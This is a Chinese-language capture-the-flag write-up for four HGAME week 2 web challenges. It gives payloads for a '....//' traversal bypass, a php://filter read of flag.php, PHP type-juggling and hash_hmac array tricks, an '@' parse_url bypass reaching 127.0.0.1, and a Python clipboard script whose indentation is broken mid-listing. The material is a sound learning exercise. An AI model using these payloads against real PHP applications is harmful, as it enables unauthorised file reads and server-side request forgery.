HGAME week2 WriteUp

WEB

easy_php

看到`title`是`where is my robots`。想到`robots.txt`。访问后得到img/index.php。然后发现替换了../，于是写一个....//就行了。猜测是要访问flag.php，然鹅却没有flag。用伪协议base64加密再拿出来，发现原来写在了注释里。

php_trick

好嘛。。php黑魔法大杂烩。
反正前面的都随便过的。。就是最后的parse_url是做了蛮久。。后来用@来绕过过滤。
最后的payload：

```
http://118.24.3.214:3001/?str1=QNKCDZO&str2=s878926199a&str3[]=1&str4[]=2&%48%5f%67%61%6d%65[]=1e9&url=http://@127.0.0.1:80@
php://filter/read=convert.base64-encode/resource=flag.php
```

对于php的curl了解甚少，不太清楚里面的很多技巧，最后还是随便乱试试出来的。。。

PHP Is The Best Language

payload：

```
key=0x&door[]=1&gate=92b2ad4051ceb4bec853bfcc53e7e98cd6584b0a52a5eb156c0eebb8b5856f33
```

当key是0x的时候也能满足等式，把door设成数组，这样第一步的secret就变成NULL了（hash_hmac函数出错）。
然后对NULL加密，用的key是0x，这样本地跑一下就出来gate了。

Baby_Spider

爬虫水平太菜，于是靠手速过了。
主要流程是，用js获取真实的算式，然后用python计算出答案。
把别人的chrome插件改一下，改成了一个自动获取页面特定区域的插件，主要代码如下：

```
if(window.getComputedStyle(document.getElementsByTagName('div')[2],':after').content == 'none')
    {
        var s = document.getElementsByTagName('div')[2].children[0].innerHTML;
        document.getElementsByTagName('input')[0].value = s;
    }
    else
    {
        var s = window.getComputedStyle(document.getElementsByTagName('div')[2],':after').content.slice(1,-1);
        document.getElementsByTagName('input')[0].value = s;
    }
```

因为最后10关是用伪元素隐藏的，我就用js来获取了。
然后python里有个库叫做pyperclip，可以操作系统的剪贴板。
于是操作流程如下：
用js获取真实的算式，然后放到输入框里，我全选(ctrl+A)、剪切(ctrl+X)。然后python脚本检测到我复制了东西，把我复制的内容处理一下，计算出结果，然后替换剪贴板，我直接粘贴(ctrl+V)，就出来正确答案了，然后我在点一下提交。一共只要在1.3秒内完成就可以了。
python代码如下：

```
import pyperclip
import time
t = ''
p = ''
count = 0
while True:
    t = pyperclip.paste()
    t = t[:t.find('?')+1]
    count += 1
    try:
        if(count >=11 and count <=20):
            for i in range(len(t)):
                if t[i] == '0':
                    p += '1'
                elif t[i] == '1':
                    p += '0'
                elif t[i] == '2':
                    p += '2'
                elif t[i] == '3':
```

```
                p += '6'
            elif t[i] == '4':
                p += '9'
            elif t[i] == '5':
                p += '4'
            elif t[i] == '6':
                p += '3'
            elif t[i] == '7':
                p += '5'
            elif t[i] == '8':
                p += '8'
            elif t[i] == '9':
                p += '7'
            else:
                p += t[i]

        pyperclip.copy(eval(p[:-2]))
        print(p)
        p = ''
    else:
        pyperclip.copy(eval(t[:-2]))
        print(t)
        print(count)
except SyntaxError as err:
    print(count)
    print(t)
    print(err)
    continue
    print(count)
time.sleep(0.1)
```

小菜鸡只能这样做了。。。。